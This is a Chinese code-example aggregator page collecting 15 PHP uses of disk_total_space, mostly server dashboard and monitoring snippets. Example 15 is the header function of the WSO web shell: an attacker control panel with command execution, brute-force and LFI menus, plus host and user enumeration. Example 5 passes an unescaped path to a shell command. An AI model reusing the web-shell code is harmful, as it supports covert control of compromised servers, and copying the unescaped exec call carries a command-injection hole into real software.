当前位置: 首页>>代码示例>>PHP>>正文


PHP disk_total_space函数代码示例

本文整理汇总了PHP中disk_total_space函数的典型用法代码示例。如果您正苦于以下问题:PHP disk_total_space函数的具体用法?PHP disk_total_space怎么用?PHP disk_total_space使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了disk_total_space函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: widgetHardDrives

function widgetHardDrives()
{
    global $drive;
    $warningthreshold = 90;
    if (!empty($drive)) {
        echo "<table border=\"0\" id=\"harddrives\">\n";
        echo "\t<col id=\"col-disk\" />\n";
        echo "\t<col id=\"col-capacity\" />\n";
        echo "\t<col id=\"col-remaining\" />\n";
        echo "\t<col id=\"col-progress\" />\n";
        echo "\t<tr>\n";
        echo "\t\t<th>Disk</th>\n";
        echo "\t\t<th>Size</th>\n";
        echo "\t\t<th>Free</th>\n";
        echo "\t\t<th>Usage</th>\n";
        echo "\t</tr>\n";
        foreach ($drive as $drivelabel => $drivepath) {
            echo "\t<tr>\n";
            echo "\t\t<td>" . $drivelabel . "</td>\n";
            echo "\t\t<td>" . to_readable_size(disk_total_space($drivepath)) . "</td>\n";
            echo "\t\t<td>" . to_readable_size(disk_free_space($drivepath)) . "</td>\n";
            echo "\t\t<td><div class=\"progressbar\"><div class=\"progress" . (disk_used_percentage($drivepath) > $warningthreshold ? " warning" : "") . "\" style=\"width:" . disk_used_percentage($drivepath) . "%\"></div><div class=\"progresslabel\">" . sprintf("%u", disk_used_percentage($drivepath)) . "%</div></div></td>\n";
            echo "\t</tr>\n";
        }
        echo "</table>\n";
    }
}
开发者ID:nick8888,项目名称:mediafrontpage,代码行数:27,代码来源:wHardDrives.php

示例2: getDiskTotal

 protected function getDiskTotal()
 {
     if (!function_exists('disk_total_space')) {
         return 0;
     }
     return (double) disk_total_space("/");
 }
开发者ID:phaniso,项目名称:phpmonitor-api,代码行数:7,代码来源:System.php

示例3: frontendDashboard

 /**
  * @return Stage
  */
 public function frontendDashboard()
 {
     $Stage = new Stage('Dashboard', 'System');
     $Value = 100 / disk_total_space(__DIR__) * disk_free_space(__DIR__);
     Main::getDispatcher()->registerWidget('System', new Panel('Festplattenkapazität', array('<div class="progress" style="margin-bottom: 0;">
                       <div class="progress-bar progress-bar-success" style="width: ' . $Value . '%"></div>
                       <div class="progress-bar progress-bar-danger" style="width: ' . (100 - $Value) . '%"></div>
                     </div>', 'Gesamt: ' . number_format(disk_total_space(__DIR__), 0, ',', '.'), 'Frei: ' . number_format(disk_free_space(__DIR__), 0, ',', '.'))), 2, 2);
     $free = shell_exec('free');
     $free = (string) trim($free);
     $free_arr = explode("\n", $free);
     $mem = explode(" ", $free_arr[1]);
     $mem = array_filter($mem);
     $mem = array_merge($mem);
     $Value = $mem[2] / $mem[1] * 100;
     Main::getDispatcher()->registerWidget('System', new Panel('Speicherkapazität', array('<div class="progress" style="margin-bottom: 0;">
           <div class="progress-bar progress-bar-success" style="width: ' . $Value . '%"></div>
           <div class="progress-bar progress-bar-danger" style="width: ' . (100 - $Value) . '%"></div>
         </div>', 'Gesamt: ' . number_format($mem[1], 0, ',', '.'), 'Frei: ' . number_format($mem[2], 0, ',', '.'))), 2, 2);
     $load = sys_getloadavg();
     Main::getDispatcher()->registerWidget('System', new Panel('Rechenkapazität', array('<div class="progress" style="margin-bottom: 0;">
           <div class="progress-bar progress-bar-success" style="width: ' . 50 * (2 - $load[0]) . '%"></div>
           <div class="progress-bar progress-bar-danger" style="width: ' . 50 * $load[0] . '%"></div>
         </div>', 'Genutzt: ' . number_format($load[0], 5, ',', '.'), 'Frei: ' . number_format(2 - $load[0], 5, ',', '.'))), 2, 2);
     $Stage->setContent(Main::getDispatcher()->fetchDashboard('System'));
     return $Stage;
 }
开发者ID:BozzaCoon,项目名称:SPHERE-Framework,代码行数:30,代码来源:System.php

示例4: widgetHardDrives

function widgetHardDrives() {
	global $drive;
	
	$warningthreshold = 90;
	
	if(empty($drive)) {
		echo "<table border=\"0\" id=\"harddrives\">\n";
		echo "\t<col id=\"col-disk\" />\n";
		echo "\t<col id=\"col-capacity\" />\n";
		echo "\t<col id=\"col-remaining\" />\n";
		echo "\t<col id=\"col-progress\" />\n";
		echo "\t<tr>\n";
		echo "\t\t<th>Disk</th>\n";
		echo "\t\t<th>Capacity</th>\n";
		echo "\t\t<th>Remaining</th>\n";
		echo "\t\t<th>%</th>\n";
		echo "\t</tr>\n";
		foreach( $drive as $drivelabel => $drivepath) {
			echo "\t<tr>\n";
			echo "\t\t<td>".$drivelabel."</td>\n";
			echo "\t\t<td>".to_readable_size(disk_total_space($drivepath))."</td>\n";
			echo "\t\t<td>".to_readable_size(disk_free_space($drivepath))."</td>\n";
			echo "\t\t<td><div class=\"progressbar\"><div class=\"progress".((disk_used_percentage($drivepath) > $warningthreshold) ? " warning" : "")."\" style=\"width:".(disk_used_percentage($drivepath))."%\"></div><div class=\"progresslabel\">".sprintf("%u", disk_used_percentage($drivepath))."%</div></div></td>\n";
			echo "\t</tr>\n";
		}
		echo "</table>\n";
	}
        else{
            echo 'You have not configured this feature in the config file yet.';

        }
}
开发者ID:resnostyle,项目名称:mediafrontpage,代码行数:32,代码来源:wHardDrives.php

示例5: collect

 public function collect()
 {
     $this->collected[] = (new Serie(NULL, $this->hostname, $this->name, "total", "Free", disk_free_space('/')))->getArray();
     $this->collected[] = (new Serie(NULL, $this->hostname, $this->name, "total", "InUse", disk_total_space('/') - disk_free_space('/')))->getArray();
     if (!is_array($this->keysConfig)) {
         return true;
     }
     $n = 0;
     foreach ($this->keysConfig as $path => $isActive) {
         if ($isActive == 0) {
             continue;
         }
         $file_wait = TMP_FOLDER . DIRECTORY_SEPARATOR . 'saturn.disk_' . $n . '.work.wait';
         $file_complete = TMP_FOLDER . DIRECTORY_SEPARATOR . 'saturn.disk_' . $n . '.work.complete';
         if (file_exists($file_complete)) {
             //self::log( $path . " END" . $file_complete );
             $content = file_get_contents($file_complete);
             //self::log( $path . " CONTENT " . $content );
             if (preg_match('/([0-9]+)/', $content, $match)) {
                 $size = $match[1];
                 //self::log( $path . " SIZE " . $size );
                 $this->collected[] = (new Serie(NULL, $this->hostname, $this->name, "path", $path, $size))->getArray();
             }
             @unlink($file_complete);
             @unlink($file_wait);
         }
         if (!file_exists($file_wait)) {
             exec('du -s ' . $path . ' > ' . $file_complete . " &");
             touch($file_wait);
         }
         $n++;
     }
 }
开发者ID:OracolTech,项目名称:Saturn-Slave,代码行数:33,代码来源:plugin_disk.php

示例6: disk_use

function disk_use($dir)
{
    $df = disk_free_space($dir);
    $dt = disk_total_space($dir);
    $du = $dt - $df;
    return $du / $dt * 100;
}
开发者ID:albertok,项目名称:haarpcache,代码行数:7,代码来源:haarp.php

示例7: logData

 /**
  * logDiskUsageData
  *
  * Retrives data and logs it to file
  *
  * @param string $type type of logging default set to normal but it can be API too.
  * @return string $string if type is API returns data as string
  *	 *
  */
 public function logData($type = false)
 {
     $class = __CLASS__;
     $settings = Logger::$_settings->{$class};
     $timestamp = time();
     $drive = $settings['settings']['drive'];
     if (is_dir($drive)) {
         $spaceBytes = disk_total_space($drive);
         $freeBytes = disk_free_space($drive);
         $usedBytes = $spaceBytes - $freeBytes;
         //$freeBytes = dataSize($Bytes);
         //$percentBytes = $freeBytes ? round($freeBytes / $totalBytes, 2) * 100 : 0;
     }
     $string = $timestamp . '|' . $usedBytes . '|' . $spaceBytes . "\n";
     $filename = sprintf($this->logfile, date('Y-m-d'));
     LoadUtility::safefilerewrite($filename, $string, "a", true);
     //If alerts are enabled, check for alerts
     if (Alert::$alertStatus) {
         $this->checkAlerts($timestamp, $usedBytes, $spaceBytes, $settings);
     }
     if ($type == "api") {
         return $string;
     } else {
         return true;
     }
 }
开发者ID:javinc,项目名称:loadavg,代码行数:35,代码来源:log.Disk.php

示例8: getMounts

 public function getMounts()
 {
     // Time?
     if (!empty($this->settings['timer'])) {
         $t = new Timer('Mounted file systems');
     }
     // Get result of mount command
     try {
         $mount_res = $this->exec->exec('mount');
     } catch (Exception $e) {
         Errors::add('Linfo Core', 'Error running `mount` command');
         return array();
     }
     // Match that up
     if (preg_match_all('/^(\\S+) on (\\S+) type (\\S+) \\(.+\\)$/m', $mount_res, $mount_matches, PREG_SET_ORDER) == 0) {
         return array();
     }
     // Store them here
     $mounts = array();
     // Go through
     foreach ($mount_matches as $mount) {
         // Should we not show this?
         if (in_array($mount[1], $this->settings['hide']['storage_devices']) || in_array($mount[3], $this->settings['hide']['filesystems'])) {
             continue;
         }
         // Get these
         $size = @disk_total_space($mount[2]);
         $free = @disk_free_space($mount[2]);
         $used = $size - $free;
         // Might be good, go for it
         $mounts[] = array('device' => $mount[1], 'mount' => $mount[2], 'type' => $mount[3], 'size' => $size, 'used' => $used, 'free' => $free, 'free_percent' => (bool) $free != false && (bool) $size != false ? round($free / $size, 2) * 100 : false, 'used_percent' => (bool) $used != false && (bool) $size != false ? round($used / $size, 2) * 100 : false);
     }
     // Give it
     return $mounts;
 }
开发者ID:Ali-Shaikh,项目名称:linfo,代码行数:35,代码来源:OpenBSD.php

示例9: readDiskInfo

 /**
  * Reads the disk quota info
  *
  * @param integer $pow
  * @param integer $dec
  * @return array
  */
 public static function readDiskInfo($pow = 2, $dec = 2)
 {
     $diskInformation = array();
     if (function_exists('disk_free_space') && function_exists('disk_total_space')) {
         $root = '';
         if ($tmp = @disk_total_space($_SERVER["DOCUMENT_ROOT"])) {
             $root = $_SERVER["DOCUMENT_ROOT"];
         } else {
             $sql = "SELECT packageDir FROM wcf" . WCF_N . "_package\n            \t\t\tWHERE packageID = " . PACKAGE_ID;
             $row = WCF::getDB()->getFirstRow($sql);
             $root = FileUtil::getRealPath(WCF_DIR . $row['packageDir']);
         }
         if (!empty($root)) {
             $diskInformation['totalSpace'] = round(disk_total_space($root) / pow(1024, $pow), $dec);
             $diskInformation['freeSpace'] = round(disk_free_space($root) / pow(1024, $pow), $dec);
             $diskInformation['usedSpace'] = round($diskInformation['totalSpace'] - $diskInformation['freeSpace'], $dec);
             if ($diskInformation['totalSpace'] > 0) {
                 $diskInformation['freeQuota'] = round($diskInformation['freeSpace'] * 100 / $diskInformation['totalSpace'], $dec);
                 $diskInformation['usedQuota'] = round($diskInformation['usedSpace'] * 100 / $diskInformation['totalSpace'], $dec);
             } else {
                 $diskInformation['freeQuota'] = $diskInformation['usedQuota'] = 0;
             }
         }
     }
     return $diskInformation;
 }
开发者ID:Maggan22,项目名称:wbb3addons,代码行数:33,代码来源:AdminToolsUtil.class.php

示例10: freeStorage

    function freeStorage()
    {
        $bytes = disk_free_space(".");
        $si_prefix = array('B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB');
        $base = 1024;
        $class = min((int) log($bytes, $base), count($si_prefix) - 1);
        $free = sprintf('%1.2f', $bytes / pow($base, $class));
        $bytes = disk_total_space(".");
        $si_prefix = array('B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB');
        $base = 1024;
        $class = min((int) log($bytes, $base), count($si_prefix) - 1);
        $total = sprintf('%1.2f', $bytes / pow($base, $class));
        $used = $total - $free;
        $percentage = round($used / $total * 100);
        if ($percentage > '80') {
            echo '
				<div style="float:left"><img src="app/images/sd.png" align="middle"> SD Card <font color="red"> (Warning)</font>:
				<br/><br/><div class="graph"><strong class="barGreen" style="width:' . $percentage . '%;">' . $percentage . '%</strong></div> &nbsp; &nbsp;  <div class="clear"></div>; ';
        } else {
            echo '
				 <div style="float:left"><img src="app/images/sd.png" align="middle"> SD Card <font color="green"> (OK)</font>:
				 <br/><div class="graph"><strong class="barGreen" style="width:' . $percentage . '%;">' . $percentage . '%</strong></div> &nbsp; &nbsp;  <div class="clear"></div>';
        }
        echo "<br/>Total: <strong>" . $total . "</strong> GB &middot ";
        echo "Free: <strong>" . $free . "</strong> GB";
        echo "</div>";
    }
开发者ID:idoop,项目名称:Raspcontrol,代码行数:27,代码来源:_hdd.php

示例11: getDiskTotalSpace

 public function getDiskTotalSpace()
 {
     if (file_exists(BASE) == false) {
         CUtils::MkDirs(BASE);
     }
     return @disk_total_space(BASE);
 }
开发者ID:youngsun45,项目名称:miniyun,代码行数:7,代码来源:HomePageBiz.php

示例12: get

function get()
{
    $pid = (new Settings())->getSettings('Daemon', 'pid');
    if ($pid == -1) {
        $daemon = false;
    } else {
        exec("ps -p {$pid}", $result);
        if (count($result) > 1) {
            $result = $result[1];
            $result = preg_replace("/\\s+/", " ", $result);
            $data = explode(" ", $result);
            if ($data[count($data) - 1] == 'php') {
                $daemon = true;
            } else {
                $daemon = false;
            }
        } else {
            $daemon = false;
        }
    }
    $free_disk = disk_free_space('/') / disk_total_space('/');
    $settings = new Settings();
    $output = array('daemon' => $daemon, 'free_hdd' => $free_disk, 'nightFrom' => $settings->getSettings('Mode', 'nightFrom'), 'nightTo' => $settings->getSettings('Mode', 'nightTo'), 'nightAuto' => $settings->getSettings('Mode', 'nightAuto'));
    return $output;
}
开发者ID:nawrasg,项目名称:Atlantis,代码行数:25,代码来源:at_system.php

示例13: getMounts

 private function getMounts()
 {
     // Try using the `mount` command to get mounted file systems
     try {
         $res = $this->exec->exec('mount');
     } catch (CallExtException $e) {
         return array();
     }
     // Try matching up the output
     if (preg_match_all('/^(\\S+) is .+ mounted on (\\S+) \\(.+\\)$/m', $res, $mount_matches, PREG_SET_ORDER) == 0) {
         return array();
     }
     // Store them here
     $mounts = array();
     // Go through each match
     foreach ($mount_matches as $mount) {
         // These might be a waste
         $size = @disk_total_space($mount[2]);
         $free = @disk_free_space($mount[2]);
         $used = $size - $free;
         // Save it
         $mounts[] = array('device' => $mount[1], 'mount' => $mount[2], 'type' => '?', 'size' => $size, 'used' => $used, 'free' => $free, 'free_percent' => (bool) $free != false && (bool) $size != false ? round($free / $size, 2) * 100 : false, 'used_percent' => (bool) $used != false && (bool) $size != false ? round($used / $size, 2) * 100 : false);
     }
     // Return them
     return $mounts;
 }
开发者ID:yonetici,项目名称:pimcore-coreshop-demo,代码行数:26,代码来源:class.OS_Minix.php

示例14: index

 public function index()
 {
     $_user = $this->uri->segment(1);
     if (isset($_user) && !empty($_user) && preg_match("/^[a-zA-Z0-9-_]+\$/", $_user)) {
         if (isset($this->session->userdata['frontlogin']) && $this->session->userdata['frontlogin'] == true && $this->session->userdata['frontuser'] == $_user) {
             $_details = $this->mFrontend->getDetailsbyURL($_user);
             if ($_details != false) {
                 $this->session->set_userdata('importUnique', uniqid('imp_', true));
                 $this->session->set_userdata('fileByCustomer', '1');
                 $errortype = isset($_GET['errortype']) ? $_GET['errortype'] : false;
                 $errormsg = isset($_GET['errormsg']) ? urldecode($_GET['errormsg']) : '';
                 $_data = array('title' => __('front_title_welcome'), 'site' => 'frontend/dashboard', 'user' => $_details, 'addnavi' => true, 'errortype' => $errortype, 'errormsg' => $errormsg, 'allowupload' => $_details->userCanUpload == '1' ? 'yes' : 'no', 'showfree' => $this->mGlobal->getConfig('SHOW_FREESPACE_USER')->configVal, 'diskfree' => disk_free_space(FCPATH), 'disktotal' => disk_total_space(FCPATH), 'folder' => isset($_details->defaultFolderID) && !is_null($_details->defaultFolderID) && !empty($_details->defaultFolderID) ? $_details->defaultFolderID : '');
                 if ($_details->userCanUpload == '1') {
                     $this->load->view('frontend', $_data);
                 } else {
                     redirect($_user . '/userfiles');
                 }
             } else {
                 redirect($_user . '/error');
             }
         } else {
             redirect($_user . '/login');
         }
     } else {
         if (mGlobal::getConfig('SHOW_CENTRAL_LOGIN')->configVal == 'yes') {
             redirect('login');
         }
         $_data = array('title' => __('front_title_welcome'), 'site' => 'frontend/index', 'header' => 'header', 'errtype' => false, 'errmsg' => '');
         $this->load->view('frontend', $_data);
     }
 }
开发者ID:StudsPro,项目名称:islandpeeps.com,代码行数:31,代码来源:frontend.php

示例15: wsoHeader

function wsoHeader()
{
    if (empty($_POST['charset'])) {
        $_POST['charset'] = $GLOBALS['default_charset'];
    }
    global $color;
    echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title> \n<style> \nbody {background-color:#000;color:#fff;}  \nbody,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }  \nspan,h1,a{ color: {$color} !important; }  \nspan{ font-weight: bolder; }  \nh1{ border:1px solid {$color};padding: 2px 5px;font: 14pt Verdana;margin:0px; }  \ndiv.content{ padding: 5px;margin-left:5px;}  \na{ text-decoration:none; }  \na:hover{ background:#ff0000; }  \n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }  \n.bigarea{ width:100%;height:250px; }  \ninput, textarea, select{ margin:0;color:#00ff00;background-color:#000;border:1px solid {$color}; font: 9pt Monospace,'Courier New'; }  \nform{ margin:0px; }  \n#toolsTbl{ text-align:center; }  \n.toolsInp{ width: 80%; }  \n.main th{text-align:left;}  \n.main tr:hover{background-color:#5e5e5e;}  \n.main td, th{vertical-align:middle;}  \npre{font-family:Courier,Monospace;} \n#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}  \n</style> \n<script> \n    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; \n    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\n    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "'; \n    var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "'; \n    var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "'; \n    var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "'; \n    var d = document; \n    function set(a,c,p1,p2,p3,charset) { \n        if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; \n        if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; \n        if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; \n        if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; \n        if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; \n        if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; \n    } \n    function g(a,c,p1,p2,p3,charset) { \n        set(a,c,p1,p2,p3,charset); \n        d.mf.submit(); \n    } \n    function a(a,c,p1,p2,p3,charset) { \n        set(a,c,p1,p2,p3,charset); \n        var params = 'ajax=true'; \n        for(i=0;i<d.mf.elements.length;i++) \n            params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); \n        sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params); \n    } \n    function sr(url, params) { \n        if (window.XMLHttpRequest) \n            req = new XMLHttpRequest(); \n        else if (window.ActiveXObject) \n            req = new ActiveXObject('Microsoft.XMLHTTP'); \n        if (req) { \n            req.onreadystatechange = processReqChange; \n            req.open('POST', url, true); \n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); \n            req.send(params); \n        } \n    } \n    function processReqChange() { \n        if( (req.readyState == 4) ) \n            if(req.status == 200) { \n                var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); \n                var arr=reg.exec(req.responseText); \n                eval(arr[2].substr(0, arr[1])); \n            } else alert('Request error!'); \n    } \n</script> \n<head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'> \n<form method=post name=mf style='display:none;'> \n<input type=hidden name=a> \n<input type=hidden name=c> \n<input type=hidden name=p1> \n<input type=hidden name=p2> \n  \n<input type=hidden name=p3> \n<input type=hidden name=charset> \n</form>";
    $freeSpace = @diskfreespace($GLOBALS['cwd']);
    $totalSpace = @disk_total_space($GLOBALS['cwd']);
    $totalSpace = $totalSpace ? $totalSpace : 1;
    $release = @php_uname('r');
    $kernel = @php_uname('s');
    if (!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(posix_geteuid());
        $gid = @posix_getgrgid(posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
    $cwd_links = '';
    $path = explode("/", $GLOBALS['cwd']);
    $n = count($path);
    for ($i = 0; $i < $n - 1; $i++) {
        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
        for ($j = 0; $j <= $i; $j++) {
            $cwd_links .= $path[$j] . '/';
        }
        $cwd_links .= "\")'>" . $path[$i] . "/</a>";
    }
    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
    $opt_charsets = '';
    foreach ($charsets as $item) {
        $opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
    }
    $m = array('Sec Info' => 'SecInfo', 'Files' => 'FilesMan', 'Exec' => 'Console', 'Sql' => 'Sql', 'PHP Tools' => 'phptools', 'LFI' => 'lfiscan', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'XSS Shell' => 'XSSShell', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
    if (!empty($GLOBALS['auth_pass'])) {
        $m['Logout'] = 'Logout';
    }
    $m['Self remove'] = 'SelfRemove';
    $menu = '';
    foreach ($m as $k => $v) {
        $menu .= '<th width="' . (int) (100 / count($m)) . '%">[<a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a>]</th>';
    }
    $drives = "";
    if ($GLOBALS['os'] == 'win') {
        foreach (range('c', 'z') as $drive) {
            if (is_dir($drive . ':\\')) {
                $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
            }
        }
    }
    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#00bb00><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
开发者ID:retanoj,项目名称:webshellSample,代码行数:59,代码来源:9684eadee77b7b7531e9afea678886b5.php


注:本文中的disk_total_space函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。